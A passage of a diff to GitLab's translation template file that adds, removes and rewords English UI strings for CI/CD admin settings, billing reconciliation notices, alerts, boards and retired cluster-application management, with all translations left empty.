msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
